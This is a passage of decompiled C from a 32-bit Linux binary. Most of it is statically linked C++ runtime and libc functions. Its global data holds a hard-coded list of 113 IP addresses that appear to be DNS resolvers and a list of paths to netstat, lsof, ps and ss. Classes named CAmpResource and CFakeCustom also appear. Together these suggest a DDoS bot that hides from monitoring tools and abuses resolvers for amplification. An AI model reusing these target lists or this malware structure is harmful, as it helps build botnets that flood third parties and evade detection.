int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t * a6); int32_t _GLOBAL__N_____________libstdc___v3_libsupc___guard_cc_00000000_2A9B2FC0__static_mutex__lock(void); int32_t _GLOBAL__N_____________libstdc___v3_libsupc___guard_cc_00000000_2A9B2FC0__static_mutex__unlock(void); int32_t __cxa_guard_acquire(char * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9); int32_t __cxa_guard_release(struct struct_59 * a1); void std__bad_alloc_702(void); int32_t _Znwj(int32_t a1, int32_t a2, int32_t a3); int32_t __udivdi3(uint32_t a1, uint32_t a2, uint32_t a3, uint32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10, int32_t a11, int32_t a12, int32_t a13, int32_t a14, int32_t a15, int32_t a16); int32_t __umoddi3(uint32_t result2, uint32_t a2, uint32_t a3, uint32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10, int32_t a11, int32_t a12, int32_t a13); int32_t _Unwind_GetTextRelBase(int32_t * a1); int32_t _Unwind_GetDataRelBase(int32_t * a1); int32_t _Unwind_GetRegionStart(int32_t * a1); void base_of_encoded_value_717(int32_t a1, int32_t a2); int32_t function_80a581e(int32_t a1, int32_t a2); int32_t read_uleb128_718(int32_t a1); int32_t read_sleb128_719(int32_t a1); int32_t read_encoded_value_with_base_720(int32_t a1, int32_t a2, int32_t a3); int32_t function_80a5932(int32_t a1, int32_t * a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6); int32_t _Unwind_DeleteException(int32_t a1); int32_t execute_cfa_program(int32_t * a1, int32_t * a2, int32_t a3); int32_t function_80a5b62(struct struct_103 * a1); int32_t uw_frame_state_for(int32_t * a1, int32_t * a2); int32_t function_80a5ffa(struct struct_103 * a1, struct struct_103 * a2); int32_t uw_install_context_1(int32_t * a1, int32_t * a2); int32_t function_80a6542(void); int32_t execute_stack_op(int32_t * a1, int32_t * a2, int32_t a3); int32_t function_80a6625(int32_t a1, int32_t result, int32_t a3, int32_t a4, int32_t a5); int32_t uw_update_context_1(int32_t a1, int32_t a2, int32_t a3); int32_t function_80a6c82(struct struct_103 * a1, struct struct_103 * a2); int32_t uw_init_context_1(int32_t * a1); int32_t function_80a6de5(int32_t * a1, int32_t a2); void uw_update_context(int32_t * a1, int32_t * a2); int32_t function_80a6f2a(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5); int32_t _Unwind_Backtrace(int32_t a1, int32_t a2); int32_t _Unwind_ForcedUnwind_Phase2(int32_t * a1, int32_t * a2); int32_t _Unwind_ForcedUnwind(int32_t a1); int32_t function_80a70f3(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6); void _Unwind_RaiseException_Phase2(int32_t * a1, int32_t * a2); int32_t function_80a71a1(int32_t a1); int32_t _Unwind_Resume(int32_t * a1, int32_t * a2, int32_t * a3); int32_t function_80a7247(int32_t a1, int32_t a2, int32_t a3); int32_t _Unwind_RaiseException(int32_t * a1, int32_t * a2, int32_t a3, int32_t * a4); int32_t function_80a72fb(int32_t * a1, struct struct_115 * a2, int32_t a3); int32_t _Unwind_Resume_or_Rethrow(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5); int32_t function_80a744b(int32_t * a1, int32_t * a2, int32_t a3, int32_t a4); void size_of_encoded_value(int32_t * a1); int32_t function_80a74fe(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10); int32_t read_uleb128_721(int32_t a1); int32_t read_sleb128_722(int32_t a1); int32_t read_encoded_value_with_base_723(int32_t a1, int32_t a2, int32_t a3); int32_t function_80a75fa(int32_t a1, int32_t * a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6); void base_from_object(struct struct_45 * a1); int32_t function_80a76b2(int32_t a1, int32_t a2, int32_t a3, int32_t * a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8); int32_t get_cie_encoding(struct struct_45 * a1); int32_t frame_downheap(int32_t result3, int32_t a2, int32_t a3, int32_t a4, int32_t a5); int32_t frame_heapsort(int32_t a1, int32_t a2, int32_t a3); int32_t classify_object_over_fdes(int32_t a1, int32_t a2); int32_t linear_search_fdes(int32_t a1, int32_t a2, int32_t a3); int32_t add_fdes(int32_t a1, int32_t a2, int32_t a3); void search_object(struct struct_45 * a1, int32_t a2, int32_t * a3); int32_t function_80a8625(int32_t a1); void _Unwind_Find_FDE(int32_t a1); int32_t function_80a8d76(struct struct_45 * a1, int32_t a2, struct struct_120 * a3); int32_t __libc_siglongjmp(int32_t a1, int32_t a2, int32_t a3, int32_t a4); int32_t _longjmp_unwind(void); int32_t __correctly_grouped_prefixmb(uint32_t result3, int32_t result, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8); int32_t _IO_printf(char * format, char * a2); void _IO_sprintf(int32_t a1, int32_t a2, int32_t a3); void _IO_sscanf(int32_t a1, int32_t a2); int32_t __new_fclose(int32_t * a1); int32_t _IO_fgets(int32_t a1, int32_t result, int32_t * a3, int32_t a4); int32_t __fopen_internal(int32_t a1, int32_t a2, int32_t * a3); void __new_fopen(int32_t a1, int32_t a2); int32_t _IO_proc_open(int32_t * a1, int32_t a2, int32_t * a3); int32_t _IO_popen(int32_t a1, int32_t * a2, int32_t a3); int32_t _IO_vsprintf(int32_t * a1, char * format, char * a3); int32_t _IO_vsscanf(int32_t a1, int32_t a2, int32_t a3); int32_t _IO_wdo_write(struct struct_121 * a1, int32_t * a2, int32_t * a3); int32_t __new_pclose(void); int32_t __libc_message(int32_t * a1, struct struct_59 * a2); int32_t _IO_file_init(struct struct_123 * a1); int32_t _IO_file_open(struct struct_124 * a1, char * path, int32_t * a3, struct struct_124 * a4, char * a5, int32_t * a6); int32_t _IO_file_close_it(struct struct_125 * a1); int32_t _IO_file_fopen(int32_t * a1, int32_t * a2, struct struct_127 * a3, struct struct_125 * a4, int32_t a5); int32_t _IO_do_write(int32_t * a1, int32_t * a2, int32_t * a3); int32_t _IO_un_link(char * a1, int32_t a2); int32_t _IO_link_in(int32_t * a1, int32_t a2); int32_t _IO_setb(struct struct_128 * a1, int32_t * a2, int32_t * a3, struct struct_128 * a4, int32_t * a5); int32_t _IO_adjust_column(int32_t a1, uint32_t a2, int32_t a3, int32_t a4); int32_t _IO_no_init(struct struct_131 * a1, int32_t a2, int32_t a3, struct struct_130 * a4, struct struct_120 * a5); int32_t _IO_init(struct struct_133 * a1, int32_t a2); int32_t _IO_unsave_markers(struct struct_134 * a1); int32_t _IO_str_init_static_internal(int32_t * a1, int32_t * a2, int32_t a3, int32_t result); int32_t new_heap(int32_t a1, int32_t * a2); int32_t sYSTRIm(int32_t a1, int32_t * a2, char * a3); int32_t malloc_consolidate(int32_t a1, int32_t * a2); int32_t _int_free(char * a1, int32_t * a2); int32_t _int_malloc(char * a1, int32_t * a2, int32_t a3); int32_t __libc_calloc(struct struct_120 * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5); int32_t __libc_malloc(int32_t * a1, int32_t a2, int32_t a3); int32_t ptmalloc_init(void); int32_t malloc_hook_ini(int32_t a1); int32_t * __default_morecore(int32_t * increment); int32_t rawmemchr(struct struct_138 * a1, int32_t a2); int32_t __wcsmbs_named_conv(int32_t a1, int32_t a2); int32_t vsyslog(int32_t a1, int32_t a2, int32_t a3, int32_t a4); int32_t __libc_enable_asynccancel(int32_t a1, int32_t a2); int32_t __libc_disable_asynccancel(int32_t a1, int32_t a2); int32_t __register_atfork(void); void backtrace_helper(void); int32_t __backtrace(int32_t * a1, uint32_t a2); int32_t backtrace_symbols_fd(int32_t ** a1, int32_t result, int32_t a3, int32_t a4); int32_t __dl_iterate_phdr(int32_t a1, struct struct_3 * a2); int32_t dl_iterate_phdr(int32_t a1, struct struct_3 * a2); int32_t _dl_addr(int32_t ** a1, int32_t a2); int32_t __gconv_find_transform(int32_t a1, int32_t a2, int32_t a3); int32_t __gconv_close_transform(int32_t a1, int32_t a2, int32_t a3, int32_t a4); void __gconv_read_conf(void); int32_t _itoa_word(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5); int32_t _IO_wsetb(struct struct_141 * a1, int32_t * a2, int32_t * a3, int32_t result); int32_t _IO_free_wbackup_area(struct struct_143 * a1, int32_t a2); int32_t __atomic_writev_replacement(int32_t a1, int32_t a2, int32_t a3); int32_t __writev(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t * a5, int32_t a6); int32_t __libc_alloca_cutoff(uint32_t a1, int32_t a2, int32_t a3); /* ---------- Global Variables ---------- */ bool g1 = false; // cf0 struct struct_18 * g2; // glob_var_0 int32_t g3 = 0; // 0x8131674 int32_t g4 = 1; // 0x8131678 int32_t g5 = 0; // 0x81316f8 int32_t g6 = 0x1000; // 0x813172c int32_t g7 = 1; // 0x8131730 int32_t g8 = 0x61a8; // 0x8131734 int32_t g9 = 1; // 0x8131738 int32_t g10 = -1; // 0x8131740 int32_t g11 = -1; // 0x8131744 int32_t g12 = -1; // 0x8131748 char * g13[113] = { "61.132.163.68", "202.102.192.68", "202.102.213.68", "202.102.200.101", "58.242.2.2", "202.38.64.1", "211.91.88.129", "211.138.180.2", "218.104.78.2", "202.102.199.68", "202.175.3.3", "202.175.3.8", "202.112.144.30", "61.233.9.9", "61.233.9.61", "124.207.160.110", "202.97.7.6", "202.97.7.17", "202.106.0.20", "202.106.46.151", "202.106.195.68", "202.106.196.115", "202.106.196.212", "202.106.196.228", "202.106.196.230", "202.106.196.232", "202.106.196.237", "202.112.112.10", "211.136.17.107", "211.136.28.231", "211.136.28.234", "211.136.28.237", "211.147.6.3", "219.141.136.10", "219.141.140.10", "219.141.148.37", "219.141.148.39", "219.239.26.42", "221.130.32.100", "221.130.32.103", "221.130.32.106", "221.130.32.109", "221.130.33.52", "221.130.33.60", "221.176.3.70", "221.176.3.73", "221.176.3.76", "221.176.3.79", "221.176.3.83", "221.176.3.85", "221.176.4.6", "221.176.4.9", "221.176.4.12", "221.176.4.15", "221.176.4.18", "221.176.4.21", "58.22.96.66", "218.104.128.106", "202.101.98.55", "211.138.145.194", "211.138.151.161", "211.138.156.66", "218.85.152.99", "218.85.157.99", "222.47.29.93", "202.101.107.85", "119.233.255.228", "222.47.62.142", "122.72.33.240", "211.98.121.27", "218.203.160.194", "221.7.34.10", "61.235.70.98", "113.111.211.22", "202.96.128.68", "202.96.128.86", "202.96.128.166", "210.21.3.140", "210.21.4.130", "211.95.193.97", "211.98.2.4", "211.98.4.1", "211.162.61.225", "211.162.61.235", "211.162.61.255", "211.162.62.1", "211.162.62.60", "221.4.66.66", "202.103.176.22", "202.96.144.47", "210.38.192.33", "202.96.134.33", "202.96.134.133", "202.96.154.15", "210.21.196.6", "221.5.88.88", "202.103.243.112", "202.193.64.33", "61.235.164.13", "61.235.164.18", "202.103.225.68", "221.7.136.68", "202.103.224.68", "211.97.64.129", "211.138.240.100", "211.138.242.18", "211.138.245.180", "221.7.128.68", "222.52.118.162", "202.98.192.67", "202.98.198.167", "211.92.136.81", "211.139.1.3" }; // 0x8131760 int32_t g14 = 12; // 0x8131ca0 char * g15[12] = { "/bin/netstat", "/bin/lsof", "/bin/ps", "/bin/ss", "/usr/bin/netstat", "/usr/bin/lsof", "/usr/bin/ps", "/usr/bin/ss", "/usr/sbin/netstat", "/usr/sbin/lsof", "/usr/sbin/ps", "/usr/sbin/ss" }; // 0x8131cc0 int32_t g16 = 5; // 0x8131d44 int32_t g17 = 10; // 0x8131d48 int32_t g18 = -0x452df7c; // 0x81321e0 int32_t g19 = -1; // 0x81324a8 int32_t g20 = 0x80b7200; // 0x81324b4 int32_t g21 = 3; // 0x81324bc int32_t g22 = 0x8119573; // 0x813254c int32_t g23 = 0; // 0x8132558 int32_t g24 = 0x8116860; // 0x8132994 int32_t g25 = 0x8115f60; // 0x813299c int32_t g26 = 0; // 0x8132bfc char g27 = 0; // 0x8132c08 int32_t g28 = 0; // 0x8132c20 int32_t g29 = 0; // 0x8132c24 int32_t g30 = 0; // 0x8132c28 int32_t g31 = 0; // 0x8132c2c int32_t g32 = 0; // 0x8132c30 int32_t g33 = 0; // 0x8132c34 char g34 = 0; // 0x8132c38 int32_t g35 = 0; // 0x8132c3c char g36 = 0; // 0x8132c40 int32_t g37 = 0; // 0x8132c44 int32_t g38 = 0; // 0x8132c48 int32_t g39 = 0; // 0x8132c4c int32_t g40 = 0; // 0x8132c50 char g41 = 0; // 0x8132c58 int32_t g42 = 0; // 0x8132c60 int32_t g43 = 0; // 0x8132ca0 int32_t g44 = 0; // 0x8132d20 int32_t g45 = 0; // 0x8132d64 int32_t g46 = 0; // 0x8132d68 int32_t g47 = 0; // 0x8132d6c int32_t g48 = 0; // 0x8132d70 int32_t g49 = 0; // 0x8132d74 int32_t g50 = 0; // 0x8132d78 int32_t g51 = 0; // 0x8132d7c char g52 = 0; // 0x8132d80 int32_t g53 = 0; // 0x8132d88 int32_t g54 = 0; // 0x8132d8c int32_t g55 = 0; // 0x8132d90 int16_t g56 = 0; // 0x8132d94 int32_t g57 = 0; // 0x8132d98 int32_t g58 = 0; // 0x8132da0 int32_t g59 = 0; // 0x8132da4 int32_t g60 = 0; // 0x8132da8 int32_t g61 = 0; // 0x8132dac int32_t g62 = 0; // 0x8132dc0 int32_t g63 = 0; // 0x8134ec0 int32_t g64 = 0; // 0x8134ec4 int32_t g65 = 0; // 0x8139bc0 int32_t g66 = 0; // 0x8139bd4 int32_t g67 = 0; // 0x8139be4 int32_t g68 = 0; // 0x8139be8 int32_t g69 = 0; // 0x8139bec int32_t g70 = 0; // 0x8139c00 int32_t g71 = 0; // 0x8139c04 int32_t g72 = 0; // 0x8139c08 int32_t g73 = 0; // 0x8139c0c int32_t g74 = 0; // 0x8139c10 int32_t g75 = 0; // 0x8139c14 int32_t g76 = 0; // 0x8139c18 int32_t g77 = 0; // 0x8139c1c int32_t g78 = 0; // 0x8139c20 int32_t g79 = 0; // 0x8139c28 int32_t g80 = 0; // 0x8139c40 int32_t g81 = 0; // 0x8139c44 int32_t g82 = 0; // 0x8139c70 int32_t g83 = 0; // 0x813a088 int32_t g84 = 0; // 0x813a08c int32_t g85 = 0; // 0x813a0c0 int32_t g86 = 0; // 0x813a8a4 int32_t g87 = 0; // 0x813ad78 int32_t g88 = 0; // 0x813ad7c int32_t g89 = 0; // 0x813ad90 int32_t g90 = 0; // 0x813adac int32_t g91 = 0; // 0x813ade0 int32_t g92 = 0; // 0x813ade4 int32_t g93 = 0; // 0x813ae14 int32_t g94 = 0; // 0x813ae1c int32_t g95 = 0; // gpr0 int32_t g96 = 0; // gpr1 int32_t g97 = 0; // gpr2 int32_t g98 = 0; // gpr3 int32_t g99 = 0; // gpr4 int32_t g100 = 0; // gpr5 int32_t g101 = 0; // gpr6 int32_t g102 = 0; // gpr7 bool g103 = false; // zf0 /* ------------- Functions -------------- */ // Address range: 0x8048238 - 0x804826f int32_t CAmpResource__Clear(struct struct_0 * a1) { // 0x8048238 a1->e0 = 0; int32_t result; // 0x8048266 if (a1->e1 != NULL) { // 0x8048251 free(a1->e1); result = (int32_t)a1; *(int32_t *)(result + 4) = 0; // branch -> 0x804826d } else { result = 0; } // 0x804826d return result; } // Address range: 0x804829c - 0x804837f int32_t CAmpResource___InitReadResource(struct struct_1 * a1, struct struct_1 * a2) { if (CFileOp__ReadFile((int32_t **)g2, (int32_t)a2, (char *)a1, 4) != 4) { // 0x8048377 return 0; } int32_t v1 = 4 * a1->e0; // 0x80482d9 g95 = v1; int32_t v2 = v1; __libc_malloc(&v2, (int32_t)a2, (int32_t)a1); a1->e1[0] = g95; int32_t * v3 = (int32_t *)((int32_t)a1 + 4); // 0x80482f3_0 int32_t result; // 0x80483771 if (*v3 != 0) { int32_t v4 = *v3; // 0x8048312 memset((int32_t *)v4, v4 & -256, 4 * a1->e0); if (a1->e0 > 0) { int32_t v5 = 0; while (true) { // 0x8048327 int32_t v6; int32_t v7 = CFileOp__ReadFile((int32_t **)g2, (int32_t)a2, (char *)&v6, 4); // 0x8048334 if (v7 == 4) { // 0x804834e a1->e1[v5] = v6; int32_t v8 = v5 + 1; // 0x8048364 if (a1->e0 <= v8) { result = 1; // break -> 0x8048377 break; } v5 = v8; // continue -> 0x8048327 continue; } else { result = 0; } } // 0x8048377 return result; } result = 1; } else { result = 0; } // 0x8048377 return result; } // Address range: 0x8048380 - 0x80483ff int32_t CAmpResource__InitReadResource(struct struct_1 * a1, struct struct_1 * a2) { int32_t v1 = (int32_t)g2; // 0x8048398 struct struct_1 * v2 = (struct struct_1 *)CFileOp__OpenFile((int32_t **)g2, (char *)a2, v1, v1); // 0x8048398_10 if (v2 < (struct struct_1 *)1) { // 0x80483fa return 0; } uint32_t v3 = CAmpResource___InitReadResource(a1, v2); // 0x80483c2 if (v3 != 1) { // 0x80483d7 CAmpResource__Clear((struct struct_0 *)a1); // branch -> 0x80483e5 } // 0x80483e5 CFileOp__CloseFile((int32_t)v2); int32_t result = v3 % 256; // 0x80483f3 g95 = result; // branch -> 0x80483fa // 0x80483fa return result; } // Address range: 0x804849c - 0x80484ad int32_t __gthread_active_p(void) { // 0x804849c g95 = 0x8092b01; return 1; } // Address range: 0x80484ae - 0x80484e9 void _Z14__gthread_oncePiPFvvE(int32_t a1) { // 0x80484ae __gthread_active_p(); pthread_once((int32_t *)g95, (void (*)(int32_t *))g97); } // Address range: 0x804a8fe - 0x804a931 int32_t std__fill(int32_t * a1, int32_t * a2, char * a3) { int32_t result = (int32_t)*a3; // 0x804a907 memset(a1, result, (int32_t)a2 - (int32_t)a1); return result; } // Address range: 0x804a932 - 0x804a939 int32_t _ZnwjPv(int32_t * a1) { // 0x804a932 int32_t result; return result; } // Address range: 0x804a99e - 0x804a9c9 int32_t __gnu_cxx____pool_base___M_check_threshold(int32_t * a1, int32_t * a2) { int32_t v1 = (int32_t)a1; // 0x804a9a4 uint32_t v2 = *(int32_t *)(v1 + 4); // 0x804a9a7 g95 = v2; int32_t result; if (v2 >= (int32_t)a2) { int32_t v3 = (int32_t)*(char *)(v1 + 24) | v1 & -256; // 0x804a9b2 g95 = v3; result = v3 != 0; // branch -> 0x804a9c3 } else { result = 1; } // 0x804a9c3 return result; } // Address range: 0x804a9ca - 0x804a9e3 int32_t __gnu_cxx____pool_base___M_get_binmap(int32_t * a1, int32_t * a2) { int32_t v1 = *(int32_t *)((int32_t)a1 + 28); // 0x804a9d0 return (int32_t)*(int16_t *)(v1 + 2 * (int32_t)a2); } // Address range: 0x804a9e4 - 0x804a9ed int32_t __gnu_cxx____pool_base___M_get_align(int32_t * a1) { // 0x804a9e4 return *a1; } // Address range: 0x804aa16 - 0x804aa61 int32_t _ZN9__gnu_cxx6__poolILb1EE18_M_initialize_onceEPFvvE(int32_t a1, int32_t a2) { char * v1 = (char *)(a1 + 32); // 0x804aa1f_0 char v2 = *v1; // 0x804aa1f int32_t result = v2 == 0; // 0x804aa27 g95 = result; if (v2 == 0 == false) { // 0x804aa5f return result; } // 0x804aa31 __gthread_active_p(); g95 = a1 + 44; g97 = a2; int32_t v3; _Z14__gthread_oncePiPFvvE(v3); int32_t v4 = (int32_t)*v1 | a1 & -256; // 0x804aa50 g95 = v4; int32_t result2 = v4 ^ 1; // 0x804aa53 g1 = false; g103 = 0x1000000 * result2 == 0; if (v4 != 1) { // 0x804aa5a g95 = a2; ((int32_t (*)())a2)(); // branch -> 0x804aa5f } // 0x804aa5f return result2; } // Address range: 0x804aa62 - 0x804aa7d int32_t __gnu_cxx____pool_lt_true_gt____M_get_bin(int32_t * a1, int32_t * a2) { int32_t v1 = *(int32_t *)((int32_t)a1 + 36); // 0x804aa68 g96 = v1; return v1 + 20 * (int32_t)a2; } // Address range: 0x804aa7e - 0x804aabf int32_t __gnu_cxx____pool_lt_true_gt____M_adjust_freelist(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x804aa7e __gthread_active_p(); int32_t v1; *a3 = v1; int32_t v2 = (int32_t)a2; // 0x804aa97 int32_t v3 = 4 * v1; // 0x804aaa0 int32_t * v4 = (int32_t *)(*(int32_t *)(v2 + 8) + v3); // 0x804aaa5_0 *v4 = *v4 - 1; int32_t * v5 = (int32_t *)(*(int32_t *)(v2 + 12) + v3); // 0x804aab8_0 int32_t result = *v5 + 1; // 0x804aaba *v5 = result; return result; } // Address range: 0x804ab06 - 0x804ab2f int32_t CSerial(int32_t * a1) { // 0x804ab06 *a1 = 0x80ff2d0; return 0; } // Address range: 0x804abbc - 0x804abc1 void CFakeCustom(void) { // 0x804abbc return; } // Address range: 0x804ad16 - 0x804ad1b void __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) { // 0x804ad16 return; } // Address range: 0x804ad1c - 0x804ad33 int32_t std__allocator_lt_CFakeCustom_gt_(int32_t * a1) { // 0x804ad1c __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(); return (int32_t)a1; } // Address range: 0x804ad34 - 0x804ad4b int32_t std__allocator_lt_CFakeCustom_gt__9(int32_t result) { // 0x804ad34 __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(); return result; } // Address range: 0x804ad4c - 0x804ad69 int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt___get_allocator(int32_t result, int32_t * a2) { // 0x804ad4c std__allocator_lt_char_gt__599(result); return result; } // Address range: 0x804ae44 - 0x804ae4d int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_ptr_(int32_t * a1) { // 0x804ae44 g95 = (int32_t)a1; return *a1; } // Address range: 0x804ae4e - 0x804ae53 void __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) { // 0x804ae4e return; } // Address range: 0x804ae54 - 0x804ae6b int32_t std__allocator_lt_std__string_gt_(int32_t * a1) { // 0x804ae54 __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(); return (int32_t)a1; } // Address range: 0x804ae6c - 0x804ae83 int32_t std__allocator_lt_std__string_gt__14(int32_t result) { // 0x804ae6c __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(); return result; } // Address range: 0x804ae84 - 0x804ae8d int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator_ptr_(int32_t * a1) { // 0x804ae84 return *a1; } // Address range: 0x804ae8e - 0x804ae97 int32_t __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(int32_t * a1) { // 0x804ae8e return *a1; } // Address range: 0x804b0e6 - 0x804b0eb void __gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt_(void) { // 0x804b0e6 return; } // Address range: 0x804b104 - 0x804b119 void __gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt___destroy(int32_t * a1) { // 0x804b104 CFakeCustom(); } // Address range: 0x804b142 - 0x804b151 int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom_const__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(int32_t * a1, int32_t * a2) { // 0x804b142 *a1 = *a2; return (int32_t)a1; } // Address range: 0x804b152 - 0x804b17b int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___end(int32_t * a1, int32_t * a2) { int32_t v1 = *(int32_t *)((int32_t)a2 + 4); // 0x804b15f __gnu_cxx____normal_iterator_lt_CFakeCustom_const__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(a1, (int32_t *)v1); return (int32_t)a1; } // Address range: 0x804b17e - 0x804b1a9 int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___begin(int32_t * a1, int32_t ** a2) { int32_t v1 = *(int32_t *)a2; // 0x804b18b __gnu_cxx____normal_iterator_lt_CFakeCustom_const__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(a1, (int32_t *)v1); return (int32_t)a1; } // Address range: 0x804b1aa - 0x804b1b1 int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom_const__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(int32_t * a1) { // 0x804b1aa return (int32_t)a1; } // Address range: 0x804b234 - 0x804b26b int32_t __gnu_cxx__operator__lt_CFakeCustom_const__ptr__comma__CFakeCustom_const__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(int32_t * a1, int32_t * a2) { int32_t v1 = __gnu_cxx____normal_iterator_lt_CFakeCustom_const__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(a1); // 0x804b241 int32_t v2 = __gnu_cxx____normal_iterator_lt_CFakeCustom_const__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(a2); // 0x804b253 return (*(int32_t *)v1 - *(int32_t *)v2) / 8; } // Address range: 0x804b26c - 0x804b2b7 int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___size(int32_t ** a1) { // 0x804b26c int32_t * v1; std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___begin(v1, a1); int32_t * v2; std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___end(v2, (int32_t *)a1); return __gnu_cxx__operator__lt_CFakeCustom_const__ptr__comma__CFakeCustom_const__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(v2, v1); } // Address range: 0x804b2b8 - 0x804b2cf int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____Vector_impl(int32_t * a1) { // 0x804b2b8 std__allocator_lt_char_gt__593(); return (int32_t)a1; } // Address range: 0x804b2d0 - 0x804b2d5 void __gnu_cxx____mt_alloc_base_lt_char_gt___destroy(void) { // 0x804b2d0 return; } // Address range: 0x804b2d6 - 0x804b2fd int32_t std___Destroy_lt_char__ptr__comma__std__allocator_lt_char_gt___gt_(int32_t * a1, int32_t * a2, int32_t a3) { int32_t result = (int32_t)a1; // 0x804b2f62 if (a1 == a2) { // 0x804b2fb return result; } __gnu_cxx____mt_alloc_base_lt_char_gt___destroy(); int32_t result2 = result + 1; // 0x804b2f0 while ((int32_t *)result2 != a2) { // 0x804b2de __gnu_cxx____mt_alloc_base_lt_char_gt___destroy(); result2++; // continue -> 0x804b2de } // 0x804b2fb return result2; } // Address range: 0x804b2fe - 0x804b335 int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____Vector_impl_16(struct struct_3 * a1, int32_t a2) { // 0x804b2fe std__allocator_lt_char_gt__596((int32_t)a1); a1->e0 = 0; a1->e1 = 0; int32_t result = (int32_t)a1; // 0x804b32c *(int32_t *)(result + 8) = 0; return result; } // Address range: 0x804b336 - 0x804b34f int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt_(int32_t * a1, int32_t * a2) { // 0x804b336 return std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____Vector_impl_16((struct struct_3 *)a1, (int32_t)a2); } // Address range: 0x804b424 - 0x804b433 int32_t __gnu_cxx____normal_iterator_lt_char_const__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(int32_t * a1, int32_t * a2) { // 0x804b424 *a1 = *a2; return (int32_t)a1; } // Address range: 0x804b434 - 0x804b45f int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___begin(int32_t * a1, int32_t ** a2) { int32_t v1 = *(int32_t *)a2; // 0x804b441 __gnu_cxx____normal_iterator_lt_char_const__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(a1, (int32_t *)v1); return (int32_t)a1; } // Address range: 0x804b460 - 0x804b489 int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___end(int32_t * a1, int32_t * a2) { int32_t v1 = *(int32_t *)((int32_t)a2 + 4); // 0x804b46d __gnu_cxx____normal_iterator_lt_char_const__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(a1, (int32_t *)v1); return (int32_t)a1; } // Address range: 0x804b4c0 - 0x804b4cf int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(int32_t * a1, int32_t * a2) { int32_t v1 = *a2; // 0x804b4c6 g97 = v1; *a1 = v1; return (int32_t)a1; } // Address range: 0x804b4d0 - 0x804b4f3 int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___begin_17(int32_t * a1, int32_t * a2) { // 0x804b4d0 __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(a1, a2); return (int32_t)a1; } // Address range: 0x804b4f4 - 0x804b527 int32_t 